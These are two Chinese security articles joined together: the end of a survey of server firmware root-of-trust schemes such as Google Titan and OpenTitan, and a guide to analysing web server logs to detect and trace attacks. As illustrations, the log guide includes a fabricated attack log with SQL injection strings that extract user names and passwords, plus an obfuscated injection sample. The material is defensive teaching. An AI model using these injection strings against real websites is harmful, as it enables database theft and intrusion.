3.Titan芯片通过签名校验的方式，验证BIOS固件的合法性。在校验通过后，释放原始的开机/重启信号。从而BIOS固件得以被正常加载并执行启动操作。
4.经过检验的BIOS固件会配置服务器并且加载Boot Loader，Boot Loader会检查和加载操作系统OS。
（3）持续监控SPI总线上的异常操作。
如图4所示，在完成上述服务器启动过程后，Titan芯片会实时监控SPI总线上的数据流，任何试图修改Flash固件的非法操作都会被过滤掉，以持续保障BIOS固件的安全。
图4 Titan在SPI总线上的监控逻辑
除了上述主要特征以外，Titan的支撑系统也引入了一系列防篡改机制，来抵御包括侧信道攻击在内的安全威胁，相应的防护措施包括攻击检测（故障、激光、热、电压）、保险丝、密钥存储、时钟和内存完整性检查等。同时，Titan也使用OTP保险丝跟踪服务器从制造到生产整个生命周期的过程。
挑战与局限。
需要指出的是，从目前公开的材料来看[1]，Titan方案还没有解决如何进行BMC和Boot
Loader的安全防护。对于BIOS的防护，实现首指令完整性这一点也依赖SPI总线的硬件结构调整和支持，对于一些企业用户来说，改造成本依旧比较高。此外，在SPI总线上进行监控和流量管理，也不免会产生对正常业务的误伤，如何保障监控逻辑的安全性，也需要谨慎和严密的设计。
## 4.OpenTitan：群雄逐鹿下的厂商生态
国外厂商在下一代平台硬件安全方案上，呈现出百家争鸣的态势，除了Google的Titan[1]，还包括前文提及到的Intel PFR[2]，Microsoft
Cerberus[3]，以及国内倡导的TPCM解决方案[4]等。
其中，PFR有Intel的下游厂商支持和配合，Cerberus借助OCP社区的影响力，也获得了很多厂商的响应与认可；在我国等级保护2.0的合规性要求下，TPCM也有一定的部署激励与实践场景。
而Google
Titan，一直以谷歌云私有化部署的形态存在，缺乏对于社区和厂商的影响力，这对硬件安全方案的应用和迭代优化都会造成一定的阻力。出于竞争压力与社区博弈等因素，Google在近期将大部分Titan芯片源码进行了开源，也就是现在浮出水面的OpenTitan项目[5]。
OpenTitan公开了Titan芯片的大部分实现环节，在打造社区影响力和促进厂商合作的方面，较Intel和Microsoft可谓扳回一城。需要说明的是，OpenTitan当前开源部分的代码还不成熟[6,7]，某些环节涉及芯片加工商的专有制造工艺（如可信根部分的逻辑），在短期内也很难完全公开[8]，如图5所示。
图5 Titan方案的开源情况（绿色为完全开源）
如果后续OpenTitan可以促使这一实践的更多细节公开，使得企业用户可以更好地缩小其信任范围，那么OpenTitan的竞争优势将会进一步凸显——就目前来看，大厂的下一代解决方案都默认设置由大厂控制的可信根，与企业用户需要更灵活、开放的可信根配置能力的需求相矛盾，这一点会很大程度上影响使用者对于硬件安全方案的选择。
总的来看，下一代硬件安全防护方案仍待打磨，银弹并未出现。对于企业来说，目前还无法直接应用Cerberus、PFR、TPCM这些技术方案。Titan方案虽已开源，但仍处于相对初期的建设阶段，前文提及的挑战与局限，也不会因为Titan的开源而在短时间内得到解决。
## 5.防护体系的建设思路
那么问题来了，现阶段企业服务器硬件安全防护应该如何展开呢？换句话讲，对于大部分企业来说，是否可以暂时不付出主板重构的昂贵代价，实现x86服务器硬件安全防护的目标呢？
答案是肯定的。在笔者来看，这一目标的达成，可以与下述三个方面的工作紧密结合起来：
### 1、组合出击，化整为零。
即便是Titan和PFR方案，也没有清楚的解释如何校验Boot
Loader的合法性。由此我们不难发现，仅仅依靠单一方案，很难有效的兼顾所有硬件安全防护需求。
因此通过化整为零，合理地进行防护点的拆分，并在此基础上整合现有技术方案，其防护效果甚至优于单纯使用某一个“先进的”防护机制。
那么这里让我们盘点一些现阶段已成熟的硬件防护的技术：
BIOS WP：即基于寄存器实现的BIOS写保护，在Intel平台可以使能，AMD平台待确认。
Secure Flash：保证BIOS、BMC固件更新进行时，新的固件镜像满足签名的合法性。
Intel Boot Guard：通过签名校验的方式，保障BIOS启动最初阶段代码的完整性与合法性，类似技术还包括AMD平台下的PSB方案。
UEFI Secure Boot：新固件标准UEFI下，通过校验签名，验证Boot Loader和Option
Rom合法性的检测方案，在Intel和AMD平台通用。
TPM 2.0/TCM：使用兼容国密密码算法的可信计算芯片进行开机启动过程的静态度量，实现对于启动阶段固件的完整性校验，在Intel和AMD平台通用。
我们发现，这些方案可以满足对BMC、BIOS、Boot Loader实现局部的防护效果：或进行主动校验（Boot Guard），或采取被动度量（TPM
2.0/TCM）；或实施事前防护（BIOS WP、Secure Flash），或借助事后检测（UEFI Secure
Boot）。那么面对潜在的底层安全威胁，我们可以部署多个单点方案，从而形成一记组合拳式的纵深防护效果，最终建立起服务器平台端到端可信链条。
### 2.实时监控，运筹帷幄。
在Google和Intel的解决方案中，都涉及到OS启动之后，在硬件层面对与BIOS固件闪存（Boot FW
Flash）进行交互的指令流的持续性监控，这一点是Titan和PFR作为下一代平台解决方案的关键优势之一。
而Boot Guard、UEFI Secure
Boot这些方案，都是系统启动过程中进行防护，存在延迟性检测的弊端，也就是说，方案检测的实际效果很大程度上要取决于机器重启的频率。那么，在机器长期不重启的情况下，BIOS是否已经被篡改便不得而知，对于攻击者入侵行为的取证能力较弱，会让防御的一方在攻防对抗中变得被动。
实际上，可以将对于Boot FW
Flash的硬件层实时监控，调整为Runtime下的对于BIOS固件内容的（接近实时）周期性检测，一方面避免了硬件改板，以及总线监控不当引起的通信延迟；另一方面，由于OS层的计算资源更为丰富，数据分析方式更为多样，也可以获得更准确的分析效果。当然Runtime态的BIOS监控可能会存在一定的被绕过风险，但对于应对中低烈度的安全攻击，提升对于底层威胁的取证能力，有着重要的意义。目前我们团队也在服务器安全系统（洋葱）实践准实时的BIOS安全监控，也取得一定进展。
### 3.关注运营，见微者著。
企业服务器的规模数以万计，在部署硬件防护方案的时候，方案设计必须与部署运营紧密结合。见微者著，只有妥善处理好方案实施过程中的各项细节问题，硬件方案才能发挥真正的防护效果。
运营相关的具体实例太多，这里简述一二：
UEFI Secure Boot、Intel PFR、Google
Titan方案都是基于签名机制进行合法性校验的，在实际运营中，应该如何设计并导入证书？如何解决证书的过期与更新问题？如何保障相关运维工具的兼容性？如何确保上游厂商提供固件签名的正确性？如何评估启用方案之后对于正常业务的影响？这往往需要联动厂商、运维团队、业务团队各方进行适配改造与兼容性验证。
此外，TPM 2.0等方案借助哈希算法进行度量，如何保证运营过程出现异常的可解释性？使用哈希度量进行校验，也意味着需要Golden
Key作为基线进行对比参照，那么如何建立这样的基线，并在BIOS合法更新时进行基线的同步更新，也是安全运营过程中需要关注的重点。
又比如，在进行实时BIOS监控的过程中，如何利用离群分析和威胁情报进行数据关联，来识别高级入侵？如何消除由于厂商BIOS研发差异性而引起的监控误报？监控策略的普适性需要结合运营收敛，并得以不断优化。
## 6.写在最后
硬件安全防护的核心任务是实现安全启动，从而建设可信的服务器系统。腾讯安全平台部在服务器硬件安全体系建设方面，也在积极地开展方案研究、设计与部署应用。
目前，安平正协同公司服务器与供应链管理部、云产品部、云鼎实验室等多部门，并与上游多家供应链厂商的密切合作，力图打造国内首个服务器安全启动成规模部署用例，并借助服务器硬件安全规范，把控厂商供应链安全水平，提升公司研发环境与云上业务对于UEFI
Bootkit、供应链攻击等底层安全威胁的免疫能力。
此外，腾讯云推出的“星星海”自研服务器由安全平台部主导进行安全能力评估建设，目前已具备可信启动的硬件防护能力。
未来，安全平台部将会持续在这个领域进行相关研发和部署。
现阶段，在不进行硬件结构改造的前提下，有效整合现有防护技术，对于企业硬件安全水平的提升，不失为一种可行的解决思路。Google
Titan是下一代硬件安全厂商方案的标杆之一，虽然存在物理制造透明性、厂商驱动等局限，但在防护架构、实时监控、侧信道攻击防御等设计层面都有着重要的参考价值。
此外，硬件安全防护与传统的OS层防护一样，依赖运营质量的加持。只有充分落实对上游厂商的管控、自动化安全基线的建设、数据分析下的误报优化等关键环节，才能在这场关乎信任的攻防对抗中，立于不败之地。
参考文献：
[1] [Titan Silicon Root of Trust for Google Cloud. ](https://keystone-enclave.org/workshop-website-2018/slides/Scott_Google_Titan.pdf)
[2] [Intel® Platform Firmware Resilience (Intel®
PFR).](https://edk2-docs.gitbooks.io/understanding-the-uefi-secure-boot-chain/looking_forward__platform_firmware_resiliency/intel_platform_firmware_resilience_intel_pfr.html)
[3] [Project Cerberus Architecture Overview.
](https://github.com/opencomputeproject/Project_Olympus/blob/master/Project_Cerberus/Project%20Cerberus%20Architecture%20Overview.pdf)
[4] 沈昌祥, 公备. 基于国产密码体系的可信计算体系框架. 密码学报. 2015 Jan 19;2(5):381-9.
[5] [OpenTitan: Open Source Silicon Root of Trust.
](https://github.com/lowRISC/opentitan)
[6] [OpenTitan Hardware Development Stages.
](https://docs.opentitan.org/doc/project/hw_stages/#indicating-stages-and-making-transitions)
[7][ Hardware Designs Dashboard.
](https://docs.opentitan.org/doc/project/hw_dashboard/)
[8] [Google Is Helping Design an Open Source, Ultra-Secure Chip.
](http://gerente.com/en-us/new-rss/google-is-helping-design-an-open-source-ultra-secure-chip/) | 社区文章 |
# 【技术分享】Web日志安全分析浅谈
##### 译文声明
本文是翻译文章，文章来源：先知社区@jeary
原文地址：<https://xianzhi.aliyun.com/forum/read/1723.html>
译文仅供参考，具体内容表达以及含义原文为准。
**一、为什么需要对日志进行分析？**
****
随着Web技术不断发展，Web被应用得越来越广泛，所谓有价值的地方就有江湖，网站被恶意黑客攻击的频率和网站的价值一般成正比趋势，即使网站价值相对较小，也会面对“脚本小子”的恶意测试攻击或者躺枪于各种大范围漏洞扫描器，正如安全行业的一句话：“世界上只有两种人,一种是知道自己被黑了的,另外一种是被黑了还不知道的”
此时对网站的日志分析就显得特别重要，作为网站管理运维等人员如不能实时的了解服务器的安全状况，则必定会成为“被黑了还不知道的”那一类人，从而造成损失，当然还有一个场景是已经因为黑客攻击造成经济损失，此时我们也会进行日志分析等各种应急措施尽量挽回损失，简而言之日志分析最直接明显的两个目的，一为网站安全自检查，了解服务器上正在发生的安全事件，二为应急事件中的分析取证。
**二、如何进行日志分析？**
在说如何进行分析之前，我们先来了解一下Web服务器中产生的日志是什么样子.我们以Nginx容器为例：
随机抽取一条日志：
61.144.119.65 - - [29/May/2017:22:01:32 +0800] "GET /page/1 HTTP/1.1" 200 6403 "http://www.baidu.com" "Scrapy/1.1.2 (+http://scrapy.org)"
作为Web开发或者运维人员，可能对图中的日志信息比较熟悉，如果对日志不那么熟悉也没关系，我们可以查看Nginx中关于日志格式的配置，查看nginx.conf配置文件：
可以看到日志格式为：
remote_addr - remote_user [time_local] "request" 'status body_bytes_sent "http_referer" 'http_user_agent" "$http_x_forwarded_for"';
翻译过来即为：远程IP – 远程用户 服务器时间 请求主体 响应状态 响应体大小 请求来源 客户端信息 客户端代理IP
通过以上信息，我们可以得知服务器会记录来自客户端的每一个请求，其中有大量来自正常用户的请求，当然也包括来自恶意攻击者的请求，那么我们如何区分正常请求和恶意攻击请求呢？站在攻击者的角度，攻击者对网站进行渗透时，其中包含大量的扫描请求和执行恶意操作的请求，而这两者在日志中都有各自的特征，如扫描请求会访问大量不存在的地址，在日志中体现则为大量的响应状态码为404，而不同的恶意请求都有各自相应的特征，如当有人对服务器进行SQL注入漏洞探测时：
(图中以"select"为关键字进行过滤)
聪明的你肯定想到了，如果此时加上时间条件，状态码等条件就能查询到最近可能成功的SQL注入攻击了，当然实际情况中，仅仅只依靠状态码来判断攻击是否成功是不可行的，因为很多时候请求的确成功了，但并不能代表攻击也成功了，如请求一个静态页面或者图片，会产生这样一个请求:/logo.png?attack=test';select//1//from/**/1,此时请求状态码为200，但是此注入攻击并没有得到执行，实际情况中，还会有更多情况导致产生此类的噪声数据。
抛开这类情况不谈，我们来说说在一般应急响应场景中我们分析日志的常规办法。
在常规应急响应常见中，一般客户会有这几种被黑情况：
1.带宽被占满，导致网站响应速度变慢，用户无法正常访问
2.造成已知经济损失，客户被恶意转账、对账发现金额无端流失
3.网站被篡改或者添加暗链，常见为黑客黑页、博彩链接等
..
对于这些情况，按照经验，我们会先建议对已知被黑的服务器进行断网，然后开始进行日志分析操作。假设我们面对的是一个相对初级的黑客，一般我们直接到服务器检查是否存有明显的webshell即可。检查方式也很简单：
1.搜索最近一周被创建、更新的脚本文件
2.根据网站所用语言，搜索对应webshell文件常见的关键字
找到webshell后门文件后，通过查看日志中谁访问了webshell，然后得出攻击者IP，再通过IP提取出攻击者所有请求进行分析
如果不出意外，可能我们得到类似这样一个日志结果：（为清晰呈现攻击路径，此日志为人工撰造）
eg:
00:01 GET http://localhost/index.php 9.9.9.9 200 [正常请求]
00:02 GET http://localhost/index.php?id=1' 9.9.9.9 500 [疑似攻击]
00:05 GET http://localhost/index.php?id=1' and 1=user() or ''=' 9.9.9.9 500 [确认攻击]
00:07 GET http://localhost/index.php?id=1' and 1=(select top 1 name from userinfo) or ''=' 9.9.9.9 500 [确认攻击]
00:09 GET http://localhost/index.php?id=1' and 1=(select top 1 pass from userinfo) or ''=' 9.9.9.9 500 [确认攻击]
00:10 GET http://localhost/admin/ 9.9.9.9 404 [疑似攻击]
00:12 GET http://localhost/login.php 9.9.9.9 404 [疑似攻击]
00:13 GET http://localhost/admin.php 9.9.9.9 404 [疑似攻击]
00:14 GET http://localhost/manager/ 9.9.9.9 404 [疑似攻击]
00:15 GET http://localhost/admin_login.php 9.9.9.9 404 [疑似攻击]
00:15 GET http://localhost/guanli/ 9.9.9.9 200 [疑似攻击]
00:18 POST http://localhost/guanli/ 9.9.9.9 200 [疑似攻击]
00:20 GET http://localhost/main.php 9.9.9.9 200 [疑似攻击]
00:20 POST http://localhost/upload.php 9.9.9.9 200 [疑似攻击]
00:23 POST http://localhost/webshell.php 9.9.9.9 200 [确认攻击]
00:25 POST http://localhost/webshell.php 9.9.9.9 200 [确认攻击]
00:26 POST http://localhost/webshell.php 9.9.9.9 200 [确认攻击]
首先我们通过找到后门文件“webshell.php”，得知攻击者IP为9.9.9.9，然后提取了此IP所有请求，从这些请求可以清楚看出攻击者从00:01访问网站首页，然后使用了单引号对网站进行SQL注入探测，然后利用报错注入的方式得到了用户名和密码，随后扫描到了管理后台进入了登录进了网站后台上传了webshell文件进行了一些恶意操作。
从以上分析我们可以得出，/index.php这个页面存在SQL注入漏洞，后台地址为/guanli.php,/upload.php可直接上传webshell
那么很容易就能得出补救方法，修复注入漏洞、更改管理员密码、对文件上传进行限制、限制上传目录的执行权限、删除webshell。
**三、日志分析中存在的难题**
看完上一节可能大家会觉得原来日志分析这么简单，不过熟悉Web安全的人可能会知道，关于日志的安全分析如果真有如此简单那就太轻松了。其实实际情况中的日志分析，需要分析人员有大量的安全经验，即使是刚才上节中简单的日志分析，可能存在各种多变的情况导致提高我们分析溯源的难度。
对于日志的安全分析，可能会有如下几个问题，不知道各位可否想过。
1.日志中POST数据是不记录的，所以攻击者如果找到的漏洞点为POST请求，那么刚刚上面的注入请求就不会在日志中体现
2.状态码虽然表示了响应状态，但是存在多种不可信情况，如服务器配置自定义状态码。
如在我经验中，客户服务器配置网站应用所有页面状态码皆为200，用页面内容来决定响应,或者说服务器配置了302跳转，用302到一个内容为“不存在页面”（你可以尝试用curl访问http://www.baidu.com/test.php看看响应体）
3.攻击者可能使用多个代理IP，假如我是一个恶意攻击者，为了避免日后攻击被溯源、IP被定位，会使用大量的代理IP从而增加分析的难度（淘宝上，一万代理IP才不到10块钱，就不说代理IP可以采集免费的了）
如果一个攻击者使用了大量不同的IP进行攻击，那么使用上面的方法可能就无法进行攻击行为溯源了
4.无恶意webshell访问记录，刚才我们采用的方法是通过“webshell”这个文件名从日志中找到恶意行为，如果分析过程中我们没有找到这么一个恶意webshell访问，又该从何入手寻找攻击者的攻击路径呢？
5.分析过程中我们还使用恶意行为关键字来对日志进行匹配，假设攻击者避开了我们的关键字进行攻击？比如使用了各种编码，16进制、Base64等等编码，再加上攻击者使用了代理IP使我们漏掉了分析中攻击者发起的比较重要的攻击请求
6.APT攻击，攻击者分不同时间段进行攻击，导致时间上无法对应出整个攻击行为
7.日志数据噪声（这词我也不知道用得对不对）上文提到过，攻击者可能会使用扫描器进行大量的扫描，此时日志中存在大量扫描行为，此类行为同样会被恶意行为关键字匹配出，但是此类请求我们无法得知是否成功扫描到漏洞，可能也无法得知这些请求是扫描器发出的，扫描器可使用代理IP、可进行分时策略、可伪造客户端特征、可伪造请求来源或伪造成爬虫。此时我们从匹配出的海量恶意请求中很难得出哪些请求攻击成功了
**四、日志分析工程化之路 [探索篇]**
（上一节留下的坑我们留到最后讨论[因为我也觉得比较头疼]，我们现在来讨论一点让人轻松的~）
曾经有运维的人员问我们公司的大神，该如何分析日志？
大神回答了三个字：“用命令”
因为站在安全经验丰富的人角度来看，的确用命令足矣，可是对于安全经验不那么丰富的人来说，可能就不知道从何入手了。但是即使身为一个安全从业人员，我也觉得用命令太过耗时耗力（还有那么多有趣的事情和伟大的事情没做呐，当然还要节约出一点时光来嗨嗨嗨呀，难道每次分析日志我们都用命令一个个给一点点分析？）
于是，聪明的黑客们就想到了，将这些步骤流程写成工具，让工具来帮我们分析日志，当然我也想到了，可是在我造这么一个轮子之前，我习惯性的到各大网站上先翻一翻，看看有没有人实现过，还真让我找到一些，见FAQ区域。
我以“Web安全日志分析”为关键字，百度&Google了一番，发现并没有找到自己觉得不错的日志分析工具，难道安全行业就没有大牛写个优秀的日志分析工具出来？年轻时的我如此想到，后来我发现并非如此，而是稍微优秀一点的都跑去做产品了，于是我转战搜寻关于日志安全分析产品，通过各种方式也让我找到了几个，如下：
1\. 首先是推广做得比较好的:日志易
日志易确实像它推广视频里所说的：“国内领先的海量日志搜索分析产品”
前段时间，有客户联系到我们，说他们买了日志易的产品，但是其中对安全的监控比较缺乏，让我们能不能在日志易的基础上添加一些安全规则，建立安全告警，他们要投放到大屏幕，然后来实时监控各个服务器的安全状态。然后我就大概看了一遍日志易的产品，安全方面的分析，基本为0.
但是 **日志易确实有几个优点：**
1.日志采集方面相对成熟，已经能针对多种日志格式解析并结构化，还支持用户自定义日志格的辅助解析
2.海量日志存储相对完善，可接收来自各个客户端的日志，Saas服务成熟，能对接各大云主机
3.搜索方面技术优秀，千亿级别数据索引只需60秒（但是，我要的安全分析啊，其他的再成熟，也始终是个不错的日志分析平台而已，我要的是安全分析、安全分析、安全分析[重要的话说三遍]）
补：（后来我发现，日志易其实有在安全方面进行分析，但是这个如图这个结果，并没有让我觉得眼前一亮，而且其中还有大量的误报）
2\. 看到一个稍微像那么回事的产品：安全易
他们推广做得不那么好，所以在我一开始的搜索中，并没有从搜索引擎找到它，这个产品是可以免费注册并试用的，于是我迫不及待注册了一个账号进去看看，如图：
当我试用过安全易这个产品之后，提取出了他们在关于安全方面所做的统计列表，如下：
1.威胁时序图
2.疑似威胁分析
3.疑似威胁漏报分析
4.威胁访问流量
5.威胁流量占比
6.境外威胁来源国家(地区)统计
7.境内威胁来源城市统计
8.威胁严重度
9.威胁响应分析
10.恶意IP
11.恶意URL分析
12.威胁类型分析
13.威胁类型分布
14.威胁分类计数
15.威胁来源热力图
16.威胁总数
17.威胁日志占比
结果似乎挺丰富，至少比我们开始使用命令和工具得到的结果更为丰富，其实在看到这个产品之前，我们内部就尝试使用过各种方法实现过其中大部分视图结果，但是似乎还是缺少点什么
——
攻击行为溯源，也就是我们在第二节中对日志进行简单的分析的过程，得到攻击者的整个攻击路径已经攻击者执行的恶意操作。不过想要将这个过程工程化，难度可比如上17个统计视图大多了，难在哪里？请回看第三节..
虽然安全易的产品并没有满足我对日志分析中的想法，但是也不能说它毫无价值，相反这款产品能辅助运维人员更有效率的监控、检查服务器上的安全事件，甚至他们不用懂得太多的安全知识也能帮助企业更有效率的发现、解决安全问题
**五、日志分析工程化之路 [实践篇]**
在了解了很多分析日志的工具后，也尝试过自己折腾出一个方便分析日志的工具，以便以日常工作中的应急响应场景
记得是在半年前左右，我的思路是这样的：
1.首先确认日志结构
我在Mysql中建立了如下结构的一张表来存储日志：
日志字段
请求时间
服务器名称
客户端IP
请求方法
请求资源
服务器端口
服务器IP
浏览器信息
响应状态码
请求来源
响应长度
请求协议
2.给Web攻击进行分类
攻击类型表
攻击类型名称
危险等级
攻击/扫描
3.建立攻击规则表对应不同的攻击类型
攻击规则表
攻击规则正则表达式
攻击发生的位置
攻击规则对应的攻击类型ID
此时不得不说一下当时日志是怎么入库的，不知道大家是否知道awk命令
echo "aa bb cc" | awk -F '{print $1}'
我们对日志采用了类似的方式，通过空格分割，然后生成出Mysql中可用的insert语句
大约为：INSERT INTO web_log VALUES
($1,$3,$4,…),至于你说其中列数是如何对应到Mysql里的表结构的,我们当时是人工核对的，为每一个不同的日志文件进行人工对应..（可想而知这活工作量多大）
扯回正题，当我们入库完毕后有了这么三张数据表，聪明的童鞋可能已经知道下一步要干什么的，那就是拿着安全规则正则表达式去逐条匹配日志表里面的日志
然后得到结果：
攻击日志ID
攻击类型ID
攻击规则ID
最后我们只需要写SQL语句，就能轻松统计各个攻击类型都分别有多少攻击请求了，如图：
最后我们思考了从各个角度来进行查询，得到了如下以下列表中的结果：
1.网站受攻击次数排名
2.网站高危请求排名
3.网站攻击者数量排名
4.网站受攻击页面排名
5.可疑文件排行
6.被攻击时间统计
7.攻击来源分布
8.高危攻击者排行
9.攻击者攻击次数排行
10.网站危险系数排行
11.攻击者数量统计
12.各站点攻击者数量统计
13.各扫描器占比
14.使用扫描器攻击者统计
由于这是一次针对多个(70+)站点的分析，所以只需突显安全趋势即可，在此次日志分析中，还并未涉及到溯源取证
记得当时我们是用SQL语句查询出结果，然后将数据填入Execl，然后进行图标生成，整个日志分析的过程，从日志原文件到入库到匹配到统计到出数据最后到Execl出统计图表基本都需要人工参与
对了，上几张图瞧瞧吧
（篇幅原因，其他统计图不贴上来了）
可以看出，我们仅仅只是采用了一些安全攻击规则来对日志进行匹配就已经得到了不错的结果，虽然整个过程有点漫长，但是得到的这一份日志分析报告是具有实际意义和价值的，它可以帮我们发现哪些站点受到的攻击行为最多，那一类攻击最为频繁，哪些站点风险系数较高，网站管理和运维人员可以通过这份报告，来着重检查危险系数较高的请求和危险系数较高的站点，从而大大提高效率。
但是日志分析工(lan)程(duo)化(hua)之路到此结束了吗？不，远远没有。
**六、日志分析工程化之路 [进阶篇]
**
有没有觉得像上面那样折腾太累了，虽然确实能得到一个还不错的结果。于是开始找寻一个较好的日志分析方案，最后采用了开源日志分析平台ELK,ELK分别为：
Elasticsearch 开源分布式搜索引擎
Logstash 对日志进行收集、过滤并存储到Elasticsearch或其他数据库
Kibana 对日志分析友好的Web界面,可对Elasticsearch中的数据进行汇总、分析、查询
因为它开源、免费、高可配，所以是很多初创企业作为日志分析使用率最高的日志分析平台
当理清楚ELK的搭建方式和使用流程后，我们用ELK实现了一遍第五节中的日志分析
流程大概如下：
1.编写Logstash配置文件
2.将攻击规则应用于logstash的filter插件
3.利用载入了安全分析插件后的logstash进行日志导入
4.查询分析结果
5.利用Kibana进行统计、可视化
到这里，所得结果已经比“HanSight瀚思”安全易这个产品的结果更为丰富了~ ，但是日志安全分析之路远远没有结束，最重要也最具有价值的那部分还没有得到实现
—— 攻击行为溯源。
**七、日志安全分析攻击溯源之路 [探索篇]**
故技重施，我搜寻了和攻击溯源有关的相关信息，发现国内基本寥寥无几。
最后发现其实现难度较大，倒是听说过某些甲方内部安全团队有尝试实现过，但至今未要到产品实现的效果图，不过最后倒是被我找到某安全公司有一个类似的产品，虽然是以硬件方式实现的流量监控，从而获取到日志进行分析。这里提一句，通过硬件方式获取流量从而可以记录并分析整个请求包和响应包，这可比从日志文件中拿到的信息全面多了，从而将日志溯源分析降低了一个难度，不过某些优秀的分析思路还是值得学习的，先上几张产品效果图：
（图1）
（图2）
（图3）
由于图1中的分析已经实现，这里暂且不谈。我们看图2中的攻击溯源，这好像正是我们需要的效果。
第一个信息不难理解，三个中国的IP发起了含有攻击特征的请求，他们的客户端信息(userAgent)分别为Linux/Win7/MacOs
第二个信息据我经验应该是他们内部有一个IP库，每个IP是否为代理IP，所处什么机房都有相应的记录，或者调用了IP位置查询接口，从而判断IP是否为代理IP、机房IP、个人上网出口IP，继而判定未使用跳板主机
第三个信息为攻击者第一次访问站点，从图中却到看到jsky的字样，竭思为一款Web漏洞扫描器，而根据我的经验来看，扫描器第一个请求不应该是访问一个txt文件而是应该请求主页从而判断网站是否能正常请求，所以这里我猜测应该是从时间链或者IP上断掉的线索，从而导致对攻击者的入站第一个请求误判，不过误判入站请求这个倒是对分析的影响不是特别大
第四、第五、第六个信息应该分别为访问了后台地址、对后台进行了爆破攻击、使用常见漏洞或CMS等通用漏洞对应用进行了攻击，除了后台访问成功之外，爆破攻击、应用攻击均为成功。因为此攻击溯源分析通过硬件方式实现，猜想应该是判断了响应体中是否包含各种登录成功的迹象，而应用攻击则判断响应中是否存在关于数据库、服务器的敏感信息，如不存在则视为攻击未成功
第七个信息展示出了攻击者总共发起了79166次注入攻击，且对服务器已经造成了影响，但是从效果图中看来，此溯源并没有具体展示对哪台哪个应用攻击成功造成了影响，故断定为综合判断，可能存在一定误报率，判断方式可通过响应体中的敏感信息、响应平均大小等方式判断已攻击成功的概率
对于图3中的效果，开始觉得结果丰富，意义深远，但是细看发现结果丰富大多来源于相关数据丰富。
综上所诉，此攻击溯源产品利用了两个优势得出了比常规分析日志方法中更有价值的结果
1.请求和响应数据完整，能进行更大维度的日志分析
2.安全关联库较多，能关联出更为丰富的信息
**如下为产品中引用的关联库：**
1\.
全球IPV4信息知识库，包括该IP对应的国家地区、对应的操作系统详情、浏览器信息、电话、域名等等。并对全球IP地址实时监控，通过开放的端口、协议以及其历史记录，作为数据模型进行预处理。
2\. 全球虚拟空间商的IP地址库，如果访问者属于该范围内，则初步可以判定为跳板IP。
3\.
全球域名库，包括两亿多个域名的详细信息，并且实时监控域名动向，包括域名对应的IP地址和端口变化情况，打造即时的基于域名与IP的新型判断技术，通过该方式可以初步判断是否为C&C服务器、黑客跳板服务器。
4\. 黑客互联网信息库，全球部署了几千台蜜罐系统，实时收集互联网上全球黑客动向。
5．独有的黑客IP库，对黑客经常登录的网站进行监控、对全球的恶意IP实时获取。
6\. 黑客工具指纹库，收集了所有公开的（部分私有的）黑客工具指纹，当攻击者对网站进行攻击时，可以根据使用的黑客工具对黑客的地区、组织做初步判断。
7\. 黑客攻击手法库，收集了大量黑客攻击手法，以此来定位对应的黑客或组织。
8\. 其他互联网安全厂商资源，该系统会充分利用互联网各种资源，比如联动50余款杀毒软件，共同检测服务器木马程序。
9\. 永久记录黑客攻击的所有日志，为攻击取证溯源提供详细依据。
**八、日志安全分析攻击溯源之路 [构想篇]**
我也希望我在这一节能写出关于溯源的实践篇，然而事实是到目前为止，我也没有太好的办法来解决在传统日志分析中第三节中提到的问题，期间也做过一些尝试，得到的结果并不怎么尽人意，当然之后也会不断尝试利用优秀的思路来尝试进行攻击溯源分析。由于还并未很好的实现攻击溯源分析，下面只讨论一些可行思路（部分思路来源于行业大牛、国内外论文资料）
通过前几节，我们已经知道了我们分析日志的目的，攻击溯源的目的和其意义与价值
这里简短概括一下：
一、实时监控正在发生的安全事件、安全趋势
二、还原攻击者行为
1.从何时开始攻击
2.攻击所利用的工具、手法、漏洞
3.攻击是否成功，是否已经造成损失和危害
三、发现风险、捕获漏洞、修复漏洞、恶意行为取证
在传统日志分析过程中，想要实现以上效果，那么就不得不面对第三节中提到的问题，这里回顾一下：
1.POST数据不记录导致分析结果不准确
其实在服务器端，运维管理人员可自行配置记录POST数据，但是这里说的是默认不记录的情况，所以配置记录POST数据暂且不提。
其实我觉得要从不完整的信息中，分析得到一个肯定的答案，我觉得这从逻辑上就不可行。但是我们可以折中实现，尽量向肯定的答案靠近，即使得到一个90%肯定的答案，那也合乎我们想要的结果。
在常规日志分析中，虽然POST数据不被记录，但是这些“不完整信息”依然能给我们我们提供线索。
如通过响应大小、响应时间、前后请求关联、POST地址词义分析、状态码等等依然能为我们的分析提供依据，如某个请求在日志中的出现次数占访问总数30%以上，且响应大小平均值为2kb，突然某一天这个请求的响应值为10kb，且发起请求的IP曾被攻击特征匹配出过，那么可以80%的怀疑此请求可能存在异常，如攻击者使用了联合注入查询了大量数据到页面，当然这里只是举例，实际情况可能存在误报。
2.状态码不可信
对于那些自行设置响应状态的，明明404却302的，明明500却要200的(~~我能说这种我想拖出去打死么- -,~~)
PS：其实设置自定义状态码是别人的正常需求。
因为状态码不可信了，我们必须从其他方面入手来获取可信线索，虽然要付出点代价。
我的思路是，对于不同的攻击行为，我们应该定义不同的响应规则，如攻击规则命中的为网站备份文件，那么应该判断请求大小必须超过1k-5k，如攻击者发起/wwwroot.rar这种攻击请求，按照常理如果状态码为200，那么本来应该被定性为成功的攻击行为，但是因为状态码不可信，我们可以转而通过响应大小来判断，因为按照常规逻辑，备份文件一般都不止只有几kb大小，如攻击者发起Bool注入请求则应该通过判断多个注入攻击请求的规律，Bool注入通常页面是一大一小一大一小这种规律，如攻击者发起联合注入攻击，则页面响应大小会异常于多部分正常页面响应大小，如果攻击者发起延时注入请求，则页面响应时间则会和延时注入payload中的响应相近，但是这需要分析攻击payload并提取其中的延时秒数来和日志中的响应时间进行比较误差值,当然，这里只是尝试思路，实际可行率有待实践。
3.攻击者使用多个代理IP导致无法构成整个攻击路径
假设同一攻击者发起的每个请求都来自不同的IP，此时即使攻击规则命中了攻击者所有请求，也无法还原攻击者的攻击路径，此时我们只能另寻他法。虽然攻击者使用了多个IP，但是假设攻击者不足够心细，此时你可以通过攻击时间段、请求频率、客户端信息(Ua)、攻击手法、攻击工具(请求主体和请求来源和客户端信息中可能暴露工具特征。如sqlmap注入时留下的referer)
4.无恶意webshell访问记录
常规分析中，我们通过找到后门文件，从而利用这一线索得知攻击者IP继而得知攻击者所有请求，但是如果我们并没有找到webshell，又该用什么作为分析的入口线索呢？
利用尽可能全面的攻击规则对日志进行匹配,通过IP分组聚合，提取发起过攻击请求的所有IP，再通过得到的IP反查所有请求，再配合其他方法检测提取出的所有请求中的可疑请求
